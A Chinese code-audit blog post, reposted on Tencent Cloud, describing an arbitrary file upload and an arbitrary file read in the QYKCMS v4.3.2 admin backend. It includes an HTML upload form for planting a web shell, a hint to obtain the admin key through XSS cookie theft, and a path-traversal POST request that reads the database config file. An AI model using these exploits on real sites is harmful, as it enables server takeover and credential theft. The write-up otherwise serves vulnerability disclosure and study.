前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞

【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞

作者头像
Bypass
发布2019-07-08 17:19:36
9320
发布2019-07-08 17:19:36
举报
文章被收录于专栏:BypassBypass

00

前言

青云客网站管理系统(QYKCMS)是青云客开发的一款基于PHP+MySql的轻量级智能建站系统。在T00ls看到两篇QYKCMS的代码审计文章,也下载了一套回来测试,发现了两个后台漏洞,并没有跟前面的漏洞重复,分享一下思路。

01

环境搭建

QYKCMS官网:http://www.qykcms.com/

网站源码版本:QYKCMS_v4.3.2(企业站主题)

程序源码下载:http://bbs.qingyunke.com/thread-13.htm

02

任意文件上传

代码分析:

1、漏洞文件位置:/admin_system/include/lib/upfile.php 第24-69行:

这段代码根据types的值进行操作,可以发现当$types=none的时候(注意看红色代码部分),获取文件名后缀,拼接成完整路径,然后将文件上传到服务器。

并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。

漏洞利用:

1、构造Form表单,key可通过XSS获取管理员COOKIE得到:

1. <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">

2. Upload a new file:<br>

3. <input type="file" name="file" size="50"><br>

4. <input type="submit" value="Upload">

5. </form>

2、成功上传脚本木马,并回显上传路径

3、去掉文件名称的第一个“|”符,然后访问脚本木马地址

03

任意文件读取

代码分析:

1、漏洞文件位置:/admin_system/include/show/template.php 第1-22行:

这段代码中接收path参数,然后进行转码处理,注意看红色代码部分,接着判断是否是一个目录,然后带入file_get_contents函数中执行,可以看到path参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

漏洞利用:

QYKCMS默认数据库配置文件存放在\include\config_db.php中,我们构造一个路径去读取数据库敏感信息,成功读取配置文件信息。

http://127.0.0.1/admin_system/api.php

POST: admin=admin&key=682b82f8dc3b753d6eb9ceafd5a64301&log=show&desc=template&path=../include/config_db.php

04

END

说一下感悟,小CMS后台中,涉及文件操作的参数基本没怎么过滤,可以黑盒结合白盒挖到很多任意文件删除、任意文件读取、任意文件下载等漏洞,然而只是just for fun。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-03-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档